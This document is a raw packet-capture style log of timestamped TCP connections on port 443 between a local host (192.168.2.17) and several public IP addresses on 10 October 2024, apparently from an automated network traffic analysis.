Oct 10, 2024 18:00:26.347615957 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.347649097 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.347661018 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.347666979 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.347698927 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.347718954 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.347764969 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.347981930 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.347995996 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.359852076 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.359940052 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.360021114 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.360210896 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.360248089 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.397485971 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.397533894 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.397562981 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.397587061 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.397610903 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.397622108 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.397648096 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.397784948 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.397784948 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.398272038 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.398320913 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.398345947 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.398364067 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.398372889 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.398416042 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.399097919 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.402762890 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.402821064 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.402832031 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.452110052 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.460669994 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.483303070 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.483584881 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.483664036 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.483808994 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.483836889 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.483860016 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.483896017 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.483957052 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.483974934 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.484385967 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.484407902 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.484436035 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.484447002 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.484489918 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.484618902 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.485284090 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.485328913 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.485338926 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.485362053 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.485400915 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.485409975 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.485595942 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.485620022 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.485635996 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.485645056 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.485683918 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.486207008 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.486629963 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.486655951 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.486695051 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.486706972 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.486748934 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.503428936 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.569531918 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.570267916 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.570353985 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.571264029 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.571285009 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.610208988 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 10, 2024 18:00:26.707724094 CEST	49729	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:26.707777977 CEST	443	49729	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:26.707869053 CEST	49729	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:26.708633900 CEST	49729	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:26.708647013 CEST	443	49729	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:26.751534939 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:26.751580954 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:26.751678944 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:26.751874924 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:26.751893044 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:26.759675026 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.759726048 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.759757996 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.759789944 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.759790897 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.759826899 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.759857893 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.759875059 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.759917021 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.759942055 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.759955883 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.760065079 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.760293961 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.764497995 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.764532089 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.764565945 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.764580011 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.764651060 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.818845987 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.819102049 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.819119930 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.820199966 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.820280075 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.820559025 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.820636988 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.820724010 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.820736885 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.863104105 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.864844084 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.864887953 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.864964008 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.864979029 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.865063906 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.865092039 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.865118980 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.865119934 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.865134001 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.865166903 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.865959883 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.866023064 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.866034985 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.866055965 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.866108894 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.866354942 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:26.866383076 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:26.971412897 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.971457958 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.971487045 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.971515894 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.971544981 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.971580982 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.971615076 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.971615076 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.971640110 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.971682072 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.971792936 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.971826077 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.971852064 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.971857071 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.971877098 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.971906900 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.976511955 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.976577044 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.976591110 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.027091026 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.058521986 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.058576107 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.058597088 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.058624983 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.058624983 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.058669090 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.058702946 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.058717966 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.058774948 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.058790922 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.059808969 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.059865952 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.059870958 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.059890985 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.059931993 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.059937000 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.059956074 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.060007095 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.060079098 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.060570955 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.060631037 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.060645103 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.060734987 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.060767889 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.060790062 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.060797930 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.060808897 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.060836077 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.061634064 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.061697006 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.061708927 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.061750889 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.061789036 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.061796904 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.061808109 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.061856031 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.061889887 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.061942101 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.061985016 CEST	49728	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:27.062016010 CEST	443	49728	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:27.278812885 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:27.279140949 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:27.279175997 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:27.280273914 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:27.280352116 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:27.281311035 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:27.281384945 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:27.281454086 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:27.281461954 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:27.327109098 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:27.347831964 CEST	443	49729	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:27.347925901 CEST	49729	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:27.349230051 CEST	49729	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:27.349244118 CEST	443	49729	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:27.349502087 CEST	443	49729	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:27.386033058 CEST	49729	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:27.431405067 CEST	443	49729	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:27.596820116 CEST	443	49729	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:27.596949100 CEST	443	49729	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:27.597018003 CEST	49729	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:27.597048044 CEST	443	49729	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:27.597059965 CEST	49729	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:27.597069025 CEST	443	49729	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:27.664048910 CEST	49731	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:27.664097071 CEST	443	49731	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:27.664184093 CEST	49731	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:27.664472103 CEST	49731	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:27.664479017 CEST	443	49731	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:28.285844088 CEST	443	49731	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:28.285938025 CEST	49731	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:28.287250042 CEST	49731	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:28.287275076 CEST	443	49731	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:28.287564039 CEST	443	49731	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:28.288606882 CEST	49731	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:28.331410885 CEST	443	49731	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:28.649425030 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 10, 2024 18:00:28.651093006 CEST	443	49731	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:28.651184082 CEST	443	49731	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:28.652921915 CEST	49731	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:28.652981043 CEST	49731	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:28.652997971 CEST	443	49731	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:28.653009892 CEST	49731	443	192.168.2.17	23.60.203.209
Oct 10, 2024 18:00:28.653016090 CEST	443	49731	23.60.203.209	192.168.2.17
Oct 10, 2024 18:00:28.952095985 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 10, 2024 18:00:29.016561031 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 10, 2024 18:00:29.559087038 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 10, 2024 18:00:30.033981085 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.034024954 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.034054995 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.034080029 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.034080982 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.034109116 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.034137964 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.034161091 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.034200907 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.034207106 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.034662962 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.034714937 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.034725904 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.034924030 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.034966946 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.034974098 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.038894892 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.038947105 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.038964033 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.087114096 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.122287035 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.122422934 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.122457981 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.122474909 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.122488022 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.122502089 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.122529984 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.122899055 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.122948885 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.122966051 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.123480082 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.123514891 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.123529911 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.123552084 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.123605967 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.123642921 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.124275923 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.124325991 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.124344110 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.124558926 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.124589920 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.124600887 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.124610901 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.124656916 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.124664068 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.125288010 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.125320911 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.125339985 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.125355005 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.125416994 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.125547886 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.164913893 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.164948940 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.164972067 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.164999008 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.165045977 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.217803001 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.217854023 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.217880964 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.217904091 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.217910051 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.217931986 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.217948914 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.217948914 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.217992067 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.217999935 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.218036890 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.218466043 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.218498945 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.218523026 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.218539000 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.218554020 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.218584061 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.218991995 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.219046116 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.219082117 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.219130993 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.219885111 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.219916105 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.219949961 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.219968081 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.219985962 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.220020056 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.220778942 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.220834017 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.220834970 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.220849037 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.220860004 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.220885038 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.221669912 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.221709013 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.221726894 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.221752882 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.221770048 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.253595114 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.253659010 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.253685951 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.253734112 CEST	49730	443	192.168.2.17	104.21.48.11
